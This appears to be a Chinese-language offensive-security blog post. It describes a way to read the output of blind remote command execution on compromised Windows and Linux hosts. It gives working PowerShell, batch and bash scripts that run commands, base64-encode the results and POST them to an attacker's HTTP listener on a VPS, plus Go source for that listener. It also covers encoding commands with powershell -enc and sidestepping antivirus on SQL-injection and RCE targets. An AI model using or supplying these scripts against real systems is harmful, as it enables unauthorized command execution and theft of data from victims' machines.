通过HttpLog方式查看命令回显
基于前面写的一篇文章:【关于命令执行无回显的那档子事】
------ 2023.4.28 update ------
4月1号遇到的问题现在解决了,因为考虑到可能部分主机不存在curl环境,所以最终还是基于powershell来实现,实际使用中如果出现错误,则可能是目标主机的powershell版本的原因,需要稍加排查。
------ 2023.4.1 update ------
实际情况下好像不是很适用,不支持在本地混淆命令后在复制命令去目标上执行,因为本地混淆的结果拿去目标机器上执行,获得的结果是本地执行的结果,和目标无关,下文中有些地方可能描述不准确。所以混淆的时候还是需要在目标机器上混淆,实际使用的时候可能会比较鸡肋。如果是一行一行的在目标上执行powershell命令,可能会存在每次执行命令的时候都新开启了一个cmd进程,这个时候在powershell中定义的变量在进程不相同的情况下就无法互相引用。所以实际使用还是不适合。卒。
------
由于使用Python开启简单http服务器方式获取无回显RCE的结果可能会有些杂乱,在返回结果相对较多的情况下可能不是很好用。所以在基于该方式的基础上,自写了一个工具,其实也不是自写的,是chatGPT帮我写的。该工具实现了一个简单的HTTP服务器监听,然后在命令执行的位置执行命令,并将命令的结果返回到该HTTP监听中,实现无杂乱信息填充的命令回显结果。
这种情况目前我能想到的适用场景有三种:
通过SQL注入堆叠加DBA权限下,命令回显慢或者说无回显的情况下使用;
目标机器有杀毒软件,不考虑机器上线到C2或者说不想花时间去免杀但是想通过命令执行查看一些信息的情况;
其他一些RCE漏洞无回显,需看执行结果的情况;
基于这些场景的前提是目标机器得出网。
实现过程-旧
注意:这是旧版本实现方式,实际使用会有问题,若要使用,参考新的实现方式。
通过powershell将执行命令进行base64编码后再通过post方式提交到HTTP的监听服务中。
Powershell命令集:
# 记得更改url的信息,只改ip和端口,后面的login不用更改,更改后无法正常接收
$url = "http://127.0.0.1:8080/login"
#$result = &"net user" # 这是另一种powershell下将变量当作命令执行的方式
$result = Invoke-Expression "net user" #这是要执行的命令
$resultString = $result | Out-String
$base64 = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($resultString))
$resultBytes = [System.Convert]::FromBase64String($base64)
Invoke-WebRequest -UseBasicParsing $url -Method POST -Body $resultBytes
原本想的是将这个保存为一个ps1脚本,然后执行ps1脚本的时候直接输入参数填充ip地址,端口号以及要执行的命令等等,但是由于windows中powershell的默认策略是不允许执行ps1脚本,若要执行需要先更改策略,所以就不折腾ps1脚本了,可以一行一行写入,然后再执行,也可以将这些指令通过编码,然后使用powershell -enc xxxx的方式以一行的形式执行。
当然,这几行指令也可以换成一行,只需要把回车符删掉,更换为";"即可以一行方式进行执行也可。
也可以通过混淆后执行:
$content = Get-Content -Path "C:\Users\Dev\Desktop\1.txt" -Raw # 这是上面powershell的内容保存为一个txt文件的目录信息
$base64 = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($content))
Write-Host "powershell -enc" $base64
#powershell.exe -enc $base64
将上述powershell内容保存为ps1文件在本地运行,这样就不用每次执行命令时都要粘贴很多次命令了;省了一些步骤,也增加了一定安全性。
弊端是每次执行命令需要更改txt中的命令信息,然后进行混淆后再执行。
运行结果如下:
实现过程-新
通过bat脚本,然后在bat脚本中调用powershell命令,将命令执行的结果使用powershell进行base64编码后,提交到Http监听器上,然后Http监听端将接收到的Post请求进行base64解码,并返回到控制台中,实现命令的回显。
set cmd1=%1
set cmd2=%2
set cmd3=%3
set cmd4=%4
set cmd5=%5
set cmd6=%6
set url=http://127.0.0.1:8080/login
powershell $result="%cmd1% %cmd2% %cmd3% %cmd4% %cmd5%| Out-String";$base64=[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($result));Invoke-WebRequest -UseBasicParsing %url% -Method POST -Body $base64
设置多个cmd的set是因为执行某些带有多个空格间隔的命令的时候,如果数量不够,会导致命令执行结果异常,具体请参考上一篇文章描述。
将上述命令保存为bat脚本,并更改url的地址,需要注意的是,如果使用的是下述的golang代码,那么,只需要更改ip和端口即可,login路径不能更改,更改了过后Http监听端无法接收到请求数据。
实际使用的时候,若是目标出网,则将该bat脚本远程下载到目标机器上,然后调用该脚本执行命令,且Http端开启监听即可。
使用结果如下:
这样只需要在vps端开启golang编写的一个小型Http监听端,然后通过无回显的入口点执行命令即可完成命令的回显。
Golang代码
下面为golang实现的一个简单的Http监听端的代码,直接编译即可使用。
使用方式举例:main.exe --port 8080
package main
import (
"encoding/base64"
"flag"
"fmt"
"io/ioutil"
"net/http"
)
func main() {
var port int
flag.IntVar(&port, "port", 8080, "port")
flag.Parse()
http.HandleFunc("/login", httpHandle)
listen := fmt.Sprintf("0.0.0.0:%d", port)
http.ListenAndServe(listen, nil)
}
func httpHandle(w http.ResponseWriter, r *http.Request) {
body, err := ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "Error reading request body", http.StatusInternalServerError)
return
}
resultDec, err := base64.StdEncoding.DecodeString(string(body))
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Printf("%s", resultDec)
fmt.Println("--------------------------------------------------------------------------------------------------")
}
本来打算用c#实现,因为c#编译出来比较小,但是考虑到这种情况的适用场景基本都是以Linux为服务端开启HTTP监听,用c#的话得换成Core核心编译,编译过程相对复杂一些,所以直接适用Golang编译来得快一些;
这里通过Golang开启一个HTTP服务,默认地址 0.0.0.0,并监听接收到的"/login"路径信息,然后将信息输出。所有不是 POST“/login”的请求都不会正常识别。
原始的运行结果如下:
服务端指定端口开启HTTP监听后,通过在无回显命令执行的位置,执行相关powershell命令,获取命令回显。
关于Linux的无回显
其实Linux的无回显和Windows实现方式一致,只是Linux系统大多数都有curl命令,且curl可直接提交Post数据,以及Linux进行base64的编码非常简单,所以只需要些一个简单的bash脚本,将命令执行的结果base64然后使用curl提交Http监听端即可;具体可参照上一篇文章的方式,修改bash脚本即可。
具体实现,就两行命令,只需要修改命令的内容,保存为sh脚本再运行即可:
base64=$(eval "$1"|base64)
curl http://127.0.0.1:8080/login -X POST -d "$base64"
将该bash脚本上传或写入到目标服务器,并赋予执行权限,调用:xx.sh ifconfig或者xx.sh "ls /" 即可。
实际运行截图:
上面部分为golang编写的简单Http监听端,下面部分为bash脚本内容以及执行的命令,然后它们的回显内容等。